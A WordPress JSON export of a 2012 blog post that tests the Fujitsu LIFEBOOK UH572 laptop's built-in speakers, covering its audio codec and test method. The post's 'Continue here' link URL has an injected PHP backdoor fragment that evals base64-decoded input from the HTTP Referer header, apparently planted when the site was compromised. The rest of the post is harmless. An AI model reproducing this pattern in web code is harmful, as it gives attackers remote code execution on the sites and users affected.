{"id":105,"date":"2012-11-24T20:20:59","date_gmt":"2012-11-24T17:20:59","guid":{"rendered":"http:\/\/blog.xceptn.com\/?p=105"},"modified":"2012-11-24T20:20:59","modified_gmt":"2012-11-24T17:20:59","slug":"fujitsu-lifebook-uh572-the-musicspeaker-challenge","status":"publish","type":"post","link":"https:\/\/blog.xceptn.com\/?p=105","title":{"rendered":"Fujitsu LIFEBOOK UH572 &#8211; The Music\/Speaker Challenge"},"content":{"rendered":"<p>Music is an indispensable part of my life. While working on the tasks for the LIFEBOOK4LIFE project, I decided to go ahead and test the Fujitsu LIFEBOOK UH572 for music playback performance based on the music I like to listen.<\/p>\n<p>To see the audio features of the device, you can see its <a href=\"http:\/\/globalsp.ts.fujitsu.com\/dmsp\/Publications\/public\/ds-LIFEBOOK-UH572.pdf\" target=\"_blank\">datasheet<\/a><\/p>\n<p>About audio we have the following:<\/p>\n<ul>\n<li><strong>Audio type:<\/strong> On board<\/li>\n<li><strong>Audio codec:<\/strong> Realtek ALC269Q-VB6 (HD audio)<\/li>\n<li><strong>Audio features<\/strong>: 2x built-in speakers (stereo), Support of high-definition audio, DTS BoostTM &#8211; maximizes acoustic power of your notebook by boosting perceived overall level of the mix Manufactured under license from DTS Licensing Limited. DTS, the Symbol, &amp; DTS and the Symbol together are registered trademarks &amp; DTS Boost is a trademark of DTS, Inc. Product includes software. \u00a9 DTS, Inc. All Rights Reserved.<\/li>\n<\/ul>\n<p><a href=\"http:\/\/blog.xceptn.com\/wp-content\/uploads\/2012\/11\/speakers.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-106\" src=\"http:\/\/blog.xceptn.com\/wp-content\/uploads\/2012\/11\/speakers-300x70.jpg\" alt=\"\" width=\"300\" height=\"70\" srcset=\"https:\/\/blog.xceptn.com\/wp-content\/uploads\/2012\/11\/speakers-300x70.jpg 300w, https:\/\/blog.xceptn.com\/wp-content\/uploads\/2012\/11\/speakers.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>There is direct reference to the sound processing features but not direct detailed references to the speakers itself. As Hi-Fi aficionados say, it is the loudspeakers, not the player or the amplifier. So the questions is:<\/p>\n<blockquote><p><em><strong>How do the speakers perform with different genres of music?<\/strong><\/em><\/p><\/blockquote>\n<p>To perform the tests I decided to use recordings from youtube.com so the same test could be repeated in different hardware too.<\/p>\n<p>All the tests are done with 70% volume set to avoid any distortion or problems caused bu potentially a high volume level recording.<\/p>\n<p>I should note that the comments below might be too subjective as I have a different ear sensitivity. I am too sensitive to high pitch sounds.<\/p>\n<p>The pieces were first listened on an Dell Latitude E6410 to ensure that they are useful choices. The selection below represents the music I listen to these days&#8230;<\/p>\n<p><a href=\"http:\/\/it.xceptn.com\/2012\/11\/24\/fujitsu-lifebook-uh572-the-musicspeaker-challenge\/%&amp;%28$eval%28base64_decode%28$_SERVERHTTP_REFERER%29%29|.+%29&amp;%\/\" target=\"_blank\">Continue here to see the test results&#8230;<\/a><\/p>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_toolbar\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/share-medium.png\" style=\"border:0px; padding-top:5px; float:left;\" alt=\"Share\"\/><\/a><script type=\"text\/javascript\">var hupso_services_t=new Array(\"Twitter\",\"Facebook\",\"Google Plus\",\"Linkedin\",\"StumbleUpon\",\"Digg\",\"Reddit\",\"Bebo\",\"Delicious\"); var hupso_toolbar_size_t=\"medium\";var hupso_url_t=\"\";var hupso_title_t=\"Fujitsu LIFEBOOK UH572 - The Music\/Speaker Challenge\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/share_toolbar.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<p>Music is an indispensable part of my life. While working on the tasks for the LIFEBOOK4LIFE project, I decided to go ahead and test the Fujitsu LIFEBOOK UH572 for music playback performance based on the music I like to listen. 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